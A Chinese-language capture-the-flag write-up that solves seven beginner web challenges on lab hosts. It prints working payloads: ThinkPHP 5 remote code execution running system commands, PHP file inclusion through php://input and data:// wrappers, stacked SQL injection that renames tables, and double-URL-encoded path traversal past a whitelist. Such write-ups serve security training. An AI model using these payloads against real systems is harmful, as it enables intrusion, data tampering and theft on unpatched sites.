1.baby_web
打开发现题目被定位到/1.php,根据提示改为index.php,发现还是1.php
打开网络网络监视的index.php文件发现location被设置为1.php,并且找到FLAG
2.Training-WWW-Robots
访问http://220.249.52.133:59005/robots.txt
发现
http://220.249.52.133:59005//fl0g.php得到flag
3.php_rce
考点:ThinkPHP5框架底层对控制器名过滤不严,通过url调用到ThinkPHP框架的敏感函数
刚拿到题目没有思路,建议百度一下(tcl
这里推荐Freebuf的一篇文章:ThinkPHP 5.1框架结合RCE漏洞的深入分析
难的不像个两分题
直接给payload:?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
4.web_php_include
考点:文件包含和PHP伪协议 大佬的 伪协议学习资料
方法1:PHP://input伪协议
strstr()-搜索一个字符串在另一个字符串是否存在(不区分大小写),如果存在则返回字符串及其剩余部分
strstr(string,search,before_search)
str_replace("php://"," ",$page)-搜索$page中是否有php://如果有则用" "代替 区分大小写
可以用PHP://input绕过str_replace函数
构造payload:http://220.249.52.133:41917/?page=PHP://input
发现flag的地址 fl4gisisish3r3.php
如果用<?php show_source('fl4gisisish3r3.php');?> 页面会直接显示出fl4gisisish3r3.php的源码 内含flag。
方法二:date伪协议
构造payload
http://220.249.52.133:33309/?page=data://text/plain,%3C?php%20system(%22ls%22);?%3E
发现fl4gisisish3r3.php文件后
5.supersqli
刚看到题目先用1" or 1=1# 来看看注入效果
1.想尝试了一下union方式的注入
先用order by 来判断列数 举例: 15' order by 2 # 发现字段数为2
构造payload:15' union select database(),user()#
2.改用堆叠注入:使用分号结束上一个语句再叠加其他语句一起执行
查询所有的表
查询words表中的所有列
payload: 15';show columns from words;#
查询1919810931114514表中的所有列
payloda:15';show columns from`1919810931114514`;#
由前面的order by 判断出2列可以查询的默认的查询表为words
改变默认的查询表格,并将flag列名改为id
payload:
15';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后用万能钥匙(hhh
1' or 1=1#
得到flag
6.ics-06
根据题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点开报表中心进入新的页面
发现页面多了给日期范围
起初以为题目的题眼在日期范围,多次尝试无果(死都没想到id爆破)
搜索发现是id爆破,URL get方式请求了id=1,自己搞个id字典开始爆破。
发现2333length不一样 点开找到flag。
7.warmup(经典题)
F12发现注释<!--source.php-->
访问http://220.249.52.133:59743/source.php
接着访问hint.php 页面显示flag not here, and flag in ffffllllaaaagggg 重新返回source.php 仔细审计一遍代码
首先! empty($_REQUEST['file'] file参数不能为空
其次! empty($_REQUEST['file'] file参数必须为字符串
接着我们来看checkFile函数
首先定义了给白名单 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
其次if (! isset($page) || !is_string($page)) 所以file参数的值不能为空且必须是字符串
接着if (in_array($page, $whitelist)) 验证file参数是否在白名单中,如果你此时的file参数为source.php或hint.php 则会访问source.php或hint.php;显然你要访问的不是它们。
接着往下看
$_page = mb_substr($page,0,mb_strpos($page . '?', '?')
if (in_array($_page, $whitelist)) {return true;}
substr(string,start,length):返回字符串的一部分
string:必需。规定被搜索的字符串。 find:必需。规定要查找的字符。 start:可选。规定要返回的字符串长度。默认是直到字符串的结尾。
strpos(string,find,start):查找字符串在另一字符串中第一次出现的位置
string必需。规定被搜索的字符串。 find必需。规定要查找的字符。 start可选。规定开始搜索的位置。
所以这一段代码的意思是 返回第一个?之前的字符串 如果存在于白名单则返回true。
这里出现了个非预期解法(何为非预期:出题人没想到的
payload:file=hint.php?../../../../../ffffllllaaaagggg (tip:这里的../是一个一个试出来的)
或者 file=source.php?../../../../../ffffllllaaaagggg
抛开这个解法
接着往下看 $_page = urldecode($page);此处是一个url解码
构造payload:file=source.php%253f../../../../../ffffllllaaaagggg
或者file=hint.php%253f../../../../../ffffllllaaaagggg
因为url经过后端时候会自动进行一次解码 所以需要二次编码 ?的第一次URL编码是%3f 第二次URL编码是%253f
可以得到flag.